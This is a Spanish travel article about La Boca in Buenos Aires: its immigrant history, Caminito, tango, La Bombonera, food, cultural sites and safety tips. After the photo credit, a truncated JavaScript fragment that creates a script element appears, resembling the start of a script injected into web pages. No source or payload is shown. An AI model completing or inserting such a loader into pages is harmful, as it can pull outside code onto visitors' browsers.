Esta tierra húmeda es ultra cosmopolita desde el siglo XIX. No muchos lugares del mundo pueden proclamar eso a los cuatro vientos, pero La Boca, el sugerente barrio de Buenos Aires, guarda los sedimentos de italianos, polacos, rusos, españoles, franceses… Este barrio, mezcla fascinante de orígenes, historias y nostalgias, fue fundado en el siglo XVI por Pedro de Mendoza y durante muchos siglos fue un arrabal portuario construido con los sueños de los emigrantes y la madera y la pintura que sobraban de los barcos. Y así, llenos de colores que alegran, se conservan hoy los conventillos, las tradicionales viviendas que son compartidas por varias familias.
Empecemos por el bar La Perla para tomar un buen desayuno con vistas a la boca del Riachuelo a su llegada a Río de la Plata. El paseo continúa por la calle más famosa, Caminito, un festival de luz y tonos chillones (rosa, azul, verde, naranja, amarillo), que nació en 1950 cuando un grupo de vecinos decidió recuperar la vía abandonada del tren. Sobre las aceras los pintores venden sus obras y en medio de la calzada las parejas bailan tango. Éste es el lugar idóneo para disfrutar del baile del deseo, ya que nació en La Boca. Continuemos por la calle Garibaldi, con sus fachadas de chapa. Ver un partido del Boca Juniors, el equipo de fútbol argentino que más pasión levanta, es toda una experiencia. Cante, baile y sienta cómo tiembla La Bombonera, que es como se le llama cariñosamente al estadio. Dentro se encuentra el Museo de la Pasión Boquense, donde se cuenta la historia y los momentos de gloria del equipo. Al salir, momento foto en el mural que recrea a los personajes del barrio. El sonoro acento argentino nos acompaña.
Camine entre el mercadillo de camisetas y banderas para probar un choripán con salsa criolla en un puesto callejero. ¿Tiene más hambre? Pruebe gastronomía española e italiana en los bares y cantinas de las calles Brandsen y Suárez. Acérquese luego al centro cultural Fundación PROA, con exposiciones y eventos de arte contemporáneo y una cafetería con vistas al barrio. El Puente de Avellaneda, una estructura de hierro sin uso actualmente, nos habla de un pasado de industrias, salazones y almacenes. Hay más color en el mural frente al Parque Lezama y en la Casa Amarilla y la Torre del Fantasma, ésta última con influencias del modernismo catalán. En la Vuelta de Rocha, una plaza con forma de barco, se puede contemplar el atardecer con la vista puesta en el agua. Y si todo le ha sabido a poco, sepa que el Teatro de la Rivera ofrece obras experimentales y el Galpón Catalinas Sur brinda montajes sobre el Buenos Aires de ayer. La Boca no se aburre.
Datos útiles:
- Buenos Aires tiene cerca de 3 millones de habitantes, que suben a 13 con la conurbación metropolitana.
- No es recomendable visitar La Boca de noche. Hay que tener cuidado con los carteristas.
- El clima es templado, pero la humedad suele ser muy alta, por lo que puede convertir un simple paseo en sofocante.
- La moneda es el peso.
- Iberia ofrece vuelos a Buenos Aires. Siempre los mejores precios en www.iberia.com
Foto | jvc
var d=document;var s=d.createElement(‘script’);